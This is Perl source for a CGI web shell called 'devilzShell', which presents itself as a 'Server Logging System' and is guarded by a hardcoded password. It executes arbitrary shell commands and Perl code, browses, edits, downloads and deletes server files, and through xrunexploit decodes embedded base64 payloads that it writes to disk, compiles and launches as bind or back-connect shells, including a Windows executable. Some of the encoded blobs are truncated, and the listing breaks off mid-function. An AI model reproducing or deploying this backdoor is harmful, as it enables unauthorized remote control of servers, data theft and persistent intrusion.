$shell_name = "devilzShell";

$shell_fake_name = "Server Logging System";

$shell_title = " :: ".$shell_name." ::";

$shell_version = "v1";

$shell_password = "devilzc0der";

$shell_fav_port = "12345";

$shell_color = "#374374";

$xSoftware = &trim($ENV{"SERVER_SOFTWARE"});

$xSystem = &trim($^O);

$xServerIP = &trim($ENV{"SERVER_ADDR"});

$xClientIP = &trim($ENV{'REMOTE_ADDR'});

$xHeader = $xSoftware."<br />".$xSystem."<br />Server IP: <span class=\"gaul\">[ </span>".$xServerIP."<span class=\"gaul\"> ]</span>&nbsp;&nbsp;&nbsp;Your IP: <span class=\"gaul\">[ </span>".$xClientIP."<span class=\"gaul\"> ]</span>";

$base64_alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

$base64_pad = '=';

$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_';

$uuencode_pad = '`';

$tr_uuencode = " ".$uuencode_alphabet;

$tr_uuencode =~ s/(\W)/\\$1/g;

$tr_base64 = "A".$base64_alphabet;

$tr_base64 =~ s/(\W)/\\$1/g;

$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw

D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC";

$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE

MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII=";

$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l

ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9";

$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5

biAwOw0KfQ==";

$wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

$shell_style = "

background:url('".$ENV{'SCRIPT_NAME'}."?img=bg') #333333;

background:url('".$ENV{'SCRIPT_NAME'}."?img=bg') #111111;

border:1px solid ".$shell_color.";

border-bottom:4px solid ".$shell_color.";

background:".$shell_color.";

border-left:4px solid ".$shell_color.";

border-right:4px solid ".$shell_color.";

border:4px solid ".$shell_color.";

color:".$shell_color.";

border:1px solid ".$shell_color.";

border-bottom:1px solid ".$shell_color.";

background:".$shell_color.";

border-top:1px solid ".$shell_color.";

border-bottom:1px solid ".$shell_color.";

border-top:1px solid ".$shell_color.";

border-bottom:1px solid ".$shell_color.";

border-top:1px solid ".$shell_color.";

border-bottom:1px solid ".$shell_color.";

background:url('".$ENV{'SCRIPT_NAME'}."?img=bg') #111111;

";

sub init_cgi{

my $length = $ENV{'CONTENT_LENGTH'};

my $content_type = $ENV{'CONTENT_TYPE'};

my (@assign, %formlist);

if (defined($length) and $length > 0 ){

binmode STDIN;

sysread(STDIN, $_, $length);

chomp;

$query = $_;

if ((!$content_type) || ($content_type eq 'application/x-www-form-urlencoded')){

@assign = split('&',$query);

foreach (@assign) {

my ($name,$value) = split /=/;

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

$formlist{$name} = $value;

}

}

else{

($boundary = $content_type) =~ s/^.*boundary=(.*)$/\1/;

@pairs = split(/--$boundary/, $query);

@pairs = splice(@pairs,1,$#pairs-1);

for $part (@pairs)

{

($dump,$fline,$value) = split(/\r\n/,$part,3);

next if $fline =~ /filename=\"\"/;

$fline =~ s/^Content-Disposition: form-data; //;

(@columns) = split(/;\s+/, $fline);

($name = $columns[0]) =~ s/^name="([^"]+)"$/\1/g;

if($part =~ /filename=\"([^"]*)\"/){

$formlist{'uploadname'} = $1;

}

if ($#columns > 0)

{

if ($value =~ /^Content-Type:/)

{

($dump,$dump,$value) = split(/\r\n/,$value,3);

}

else

{

($dump,$value) = split(/\r\n/,$value,2);

}

}

else

{

($dump,$value) = split(/\r\n/,$value,2);

if (grep(/^$name$/, keys(%CGI)))

{

if (@{$formlist{$name}} > 0)

{

push(@{$formlist{$name}}, $value);

}

else

{

$arrvalue = $formlist{$name};

undef $formlist{$name};

$formlist{$name}[0] = $arrvalue;

push(@{$formlist{$name}}, $value);

}

}

else

{

next if $value =~ /^\s*$/;

$formlist{$name} = $value;

}

next;

}

$formlist{$name} = $value;

}

}

}

my $query = $ENV{'QUERY_STRING'};

if ($query =~ /\w+/){

@assign = split('&',$query);

foreach (@assign) {

my ($name,$value) = split /=/;

$value =~ tr/+/ /;

$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

#$value = urldecode($value);

#print $name."=".$value."<br />";

$formlist{$name} = $value;

}

}

foreach $var (sort(keys(%formlist))) {

$val = $formlist{$var};

$val =~ s|\n|\\n|g;

$val =~ s|"|\\"|g;

}

return %formlist;

}

sub init_cookie(){

my %cookie;

if(defined($ENV{'HTTP_COOKIE'})){

$rawcookie = $ENV{'HTTP_COOKIE'};

@rawcookies = split /;/, $rawcookie;

foreach (@rawcookies){

my ($name,$value) = split /=/;

$cookie{$name} = $value;

}

}

return %cookie;

}

sub trim($){

my $string = shift;

$string =~ s/^\s+//;

$string =~ s/\s+$//;

return $string;

}

sub xfilesummary($){

my $file = shift;

$buff = "";

if(-f $file){

$buff = "Filesize : ".&xparsefilesize(&xfilesize($file))." ( ".&xfilesize($file)." ) <span class=\"gaul\"> :: </span>Permission : ".&xfileperms($file)." ( ".&xfileowner($file)." )<span class=\"gaul\"> :: </span>modified : ".&xfilelastmodified($file);

}

return $buff;

}

sub xparsefilesize($){

my $size = shift;

if($size <= 1024) {

return $size;

}

else{

if($size <= 1024*1024) {

$size = sprintf("%.02f",$size / 1024);

return $size." kb";

}

else {

$size = sprintf("%.2f",$size / 1024 / 1024);

return $size." mb";

}

}

}

sub xfilesize($){

my $file = shift;

if(-f $file){

return -s $file;

}

return "0";

}

sub xfileopen($){

my $file = shift;

my $binary = shift;

my $content = "";

my $n = "";

if(-f $file){

if(open(FILE,$file)){

if($binary){

binmode FILE;

}

while (($n = read FILE, $data, 1024) != 0) {

$content .= $data;

}

close(FILE);

}

}

return $content;

}

sub xfilesave($){

my $file = shift;

my $content = shift;

if(open(FILE,">".$file)){

binmode FILE;

print FILE $content;

close(FILE);

return 1;

}

else { return 0 };

}

sub trimslashes($){

my $str = shift;

if(&is_win()){

$str =~ s/\\$//;

}

else{

$str =~ s/\/$//;

}

return $str;

}

sub xfileowner($){

my $file = shift;

if(-e $file){

if(-d $file){

$file = trimslashes($file);

}

($uid,$gid) = (stat($file))[4,5];

if(&is_win()){

return "???";

}

else{

$name=getpwuid($uid);

$group=getgrgid($gid);

return $name.":".$group;

}

}

return "???";

}

sub xfilelastmodified($){

my $file = shift;

if(-e $file){

if(-d $file){

$file = trimslashes($file);

}

($la) = (stat($file))[9];

($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];

$y = $y + 1900;

@month = qw/Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec/;

$lmtime = sprintf("%02d-%s-%4d %02d:%02d",$d,$month[$m],$y,$h,$i);

return $lmtime;

}

return "???";

}

sub xfileperms($){

my $file = shift;

$isreadable = "-";

$iswriteable = "-";

if(-e $file){

if(-r $file){ $isreadable = "r"; }

if(-w $file){ $iswriteable = "w"; }

}

return $isreadable . " / " . $iswriteable;

}

sub xrmdir($) {

my $dir = shift;

if(opendir(DIR,$dir)){

while($file = readdir(DIR)){

if(($file ne ".") && ($file ne "..")){

if(-d $file){

&xrmdir($dir."\\".$file);

}

else{

unlink($dir."\\".$file);

}

}

}

closedir(DIR);

}

rmdir($dir);

}

sub xcleanpath($){

my $path = shift;

$path = &urldecode(&trim($path));

if(&is_win()){

$path =~ tr/\//\\/;

}

$xSlash = &DIRECTORY_SEPARATOR();

if(-f $path){

$path = substr($path,0,rindex($path,$xSlash));

}

while(substr($path,-1,1) eq $xSlash){

$path = substr($path,0,-1);

}

return $path.$xSlash;

}

sub dirname($){

my $file = shift;

$xSlash = &DIRECTORY_SEPARATOR();

if(-f $file){

return substr($file,0,rindex($file,$xSlash)).$xSlash;

}

elsif(-d $file){

$file = &xcleanpath($file);

return substr($file,0,rindex($file,$xSlash)).$xSlash;

}

else{

return substr($file,0,rindex($file,$xSlash)).$xSlash;

}

}

sub basename($){

my $file = shift;

$xSlash = &DIRECTORY_SEPARATOR();

if(-f $file){

return substr($file,rindex($file,$xSlash) + 1);

}

else{

return $xSlash;

}

}

sub is_win(){

$os = $xSystem;

if($os =~ m/win/i){

return 1;

}

else{

return 0;

}

}

sub DIRECTORY_SEPARATOR(){

if(&is_win()){

return "\\";

}

else {

return "\/";

}

}

sub xdrive(){

$letters = "";

@range = (A..Z);

foreach $letter (@range){

$check = $letter.":\\";

$bool = (-e $check);

if ($bool) {

$letters .= "<a href=\"?dir=".$check."\"><span class=\"gaul\">[ </span>";

$letters .= $letter;

$letters .= "<span class=\"gaul\"> ]</span</a> ";

}

}

if($letters ne ""){

$letters .= "<br />";

}

return $letters;

}

sub urlencode($){

my $str = shift;

$str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;

return $str;

}

sub urldecode($){

my $str = shift;

$str =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;

return $str;

}

sub xparsedir($){

my $dir = shift;

$xSlash = &DIRECTORY_SEPARATOR();

if(&is_win()){

@dirs = split /\\/,$dir;

}

else {

@dirs = split /\//,$dir;

}

$buff = "";

$dlink = "";

if(!&is_win()) {

$dlink .= &urlencode($xSlash);

$buff .= "<a href=\"?dir=".$dlink."\">".$xSlash."</a>&nbsp;";

}

foreach $d (@dirs){

$d = &trim($d);

if($d ne ""){

$dlink .= &urlencode($d.$xSlash);

$buff .= "<a href=\"?dir=".$dlink."\">".$d." ".$xSlash."</a>&nbsp;";

}

}

return "<span class=\"gaul\">[ </span>".$buff."<span class=\"gaul\"> ]</span>";

}

sub xparentfolder($){

my $path = shift;

$xSlash = &DIRECTORY_SEPARATOR();

$path = &xcleanpath($path);

$path1 = substr($path,0,rindex($path,$xSlash));

$path2 = substr($path1,0,rindex($path1,$xSlash));

if((-d $path2) || (rindex($path1,$xSlash) == 0)){

return $path2.$xSlash;

}

else{

return $path1.$xSlash;

}

}

sub ekse($){

my $cmd = shift;

return `$cmd`;

}

sub xeval($){

my $code = shift;

$cod = $code;

$code =~ s/\"/\\\"/g;

my $whichperl = &trim(&ekse("which perl"));

if($whichperl eq ""){

$con = &xfileopen($ENV{'SCRIPT_FILENAME'},1);

if($con =~ /^#!(.*)/){

$whichperl = &trim($1);

}

}

$result = "";

if($whichperl ne ""){

$result = &ekse($whichperl." -e \"".$code."\"");

}

if($result ne ""){

return $result;

}

else{

print "Content-type: text/html\n\n";

eval($cod);

exit(1);

}

}

sub xdir($){

my $path = shift;

$path = &trim(&xcleanpath($path));

if(-d $path){

@fname = ();

@dname = ();

if(opendir(DIR,$path)){

while($file = readdir(DIR)){

if(-d $file){

push(@dname,$file);

}

else{

push(@fname,$file);

}

}

closedir(DIR);

}

@fname = sort { lc($a) cmp lc($b) } @fname;

@dname = sort { lc($a) cmp lc($b) } @dname;

$buff = "<div id=\"explorer\"><table class=\"tblExplorer\">

<th style=\"width:180px;\">Action</th></tr>";

foreach $d (@dname){

my $d = &trim($d);

$sd = $d;

if($d eq "..") {

$nextdir = &xparentfolder(&xparentfolder($path));

$d = &xcleanpath(&xparentfolder($path));

}

elsif($d eq ".") {

$nextdir = &xparentfolder($path);

$d = &xcleanpath($path);

}

else {

$nextdir = $path;

$d = $path.$sd;

}

$dir = $d;

$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location= '?dir=".&urlencode($d)."';\">

<td><span style=\"font-weight:bold;\"><a href=\"?dir=".$dir."\">[</span> ".$sd." <span style=\"font-weight:bold;\">]</span></a></td>";

$buff .= "<td>DIR</td>";

$buff .= "<td style=\"text-align:center;\">".&xfileperms($sd)."</td>";

$buff .= "<td style=\"text-align:center;\">".&xfilelastmodified($sd)."</td>";

$buff .= "<td style=\"text-align:center;\"><a href=\"?dir=".$dir."&properties=".$d."\">Properties</a> | <a href=\"?dir=".$nextdir."&del=".$d."\">Remove</a></td>";

$buff .= "</tr>";

}

foreach $f (@fname){

$sf = $f;

$f = $path.$f;

$view = "?dir=".&urlencode($path)."&view=".&urlencode($f);

$buff .= "<tr onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\" onclick=\"window.location='?dir=".&urlencode(&xcleanpath($path))."&properties=".&urlencode($f)."';\"><td>

<a href=\"?dir=".&urlencode(&xcleanpath($path))."&properties=".&urlencode($f)."\">

".$sf."</a></td>";

$buff .= "<td>".&xparsefilesize(&xfilesize($f))."</td>";

$buff .= "<td style=\"text-align:center;\">".&xfileperms($f)."</td>";

$buff .= "<td style=\"text-align:center;\">".&xfilelastmodified($f)."</td>";

$buff .= "<td style=\"text-align:center;\"><a href=\"".$view."\">Edit</a> | <a href=\"?get=".$f."\">Download</a> | <a href=\"?dir=".&xcleanpath($path)."&del=".$f."\">Remove</a></td>";

$buff .= "</tr>";

}

$buff .= "</table></div>";

return $buff;

}

}

sub xrunexploit($){

my $fpath = shift;

my $base64 = shift;

my $port = shift;

my $type = shift;

$con = &b64decode($base64);

$final = "";

if(&is_win()){

$fname = "bd.exe";

$ip = "";

$fpath = $fpath.$fname;

if(-f $fpath){

unlink($fpath);

}

if(&xfilesave($fpath,$con)){

$fpath = &trim($fpath);

if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; }

$final .= $fpath." ".$port." ".$ip;

&ekse(&trim($final));

return 1;

}

}

else {

if($type eq 'connect'){ $fname = "back"; }

else { $fname = "bind"; }

$ip = "";

$fpath = $fpath.$fname;

if(-f $fpath.".c"){

unlink($fpath.".c");

}

if(&xfilesave($fpath.".c",$con)){

$fpath = &trim($fpath);

if($type eq 'connect'){ $ip = $ENV{'REMOTE_ADDR'}; }

&ekse("gcc ".$fpath.".c -o ".$fpath);

&ekse("chmod +x ".$fpath);

if(-e $fpath){

$final .= $fpath." ".$port." ".$ip;

&ekse(&trim($final));

return 1;

}

}

}

return 0;

}

sub htmlspecialchars($){

my $text = shift;

$text =~ s/&/&amp;/g;

$text =~ s/"/&quot;/g;

$text =~ s/'/&#039;/g;

$text =~ s/</&lt;/g;

$text =~ s/>/&gt;/g;

return $text;

}

sub nl2br($) {

my $text = shift;

$text =~ s/([\r\n])/<br \/>$1/g;

return $text;

}

sub b64decode

{

local ($_) = @_;

local ($result);

eval qq{ tr|$tr_base64||cd; tr|$tr_base64|$tr_uuencode|; };

while (s/^(.{60})//) {

$result .= unpack("u", "M" . $&);

}

if ($_ ne "") {

$result .= unpack("u", substr($uuencode_alphabet, length($_)*3/4, 1) . $_);

}

return $result;

}

sub b64encode

{

local ($_) = @_;

local ($chunk);

local ($result);

while (s/^((.|\n){45})//) {

$chunk = substr(pack("u", $&), $[+1, 60);

eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; };

$result .= $chunk . "\n";

}

if ($_ ne "") {

$chunk = substr(pack("u", $_), $[+1, int((length($_)+2)/3)*4 - (45-length($_))%3);

eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|; };

$result .= $chunk . ($base64_pad x ((60 - length($chunk)) % 4)) . "\n";

}

$result;

}

my %_VAR = &init_cgi;

my %_COOKIE = &init_cookie();

my $xCwd = &xcleanpath($ENV{'SCRIPT_FILENAME'});

my $auth = 0;

my $cmdeval = "";

chdir($xCwd);

if(defined($_VAR{'passw'})){

$check = &trim($_VAR{'passw'});

$fut_time=gmtime(time()+3600*24*7)." GMT";

$fut_time_=gmtime(time()-3600*24*7)." GMT";

if($check eq $shell_password){

$cookie = "pass=".$check."; path=/; expires=".$fut_time.";";

$m = $ENV{'SCRIPT_NAME'};

print "Set-Cookie: " . $cookie . "\n";

$auth = 1;

}

else {

$cookie = "pass=".$check."; path=/; expires=".$fut_time_.";";

print "Set-Cookie: " . $cookie . "\n";

}

}

$check = "";

if(defined($_COOKIE{'pass'})) {

$check = &trim($_COOKIE{'pass'});

}

if($check eq $shell_password){

$auth = 1;

}

if(defined($_VAR{'img'})){

$file = &trim($_VAR{'img'});

if(-f $file){

print "Content-type: image/jpeg\n\n";

binmode STDOUT;

print &xfileopen($file,1);

exit;

}

else{

$img = ${"$file"};

print "Content-type: image/png\n\n";

binmode STDOUT;

print &b64decode($img);

exit;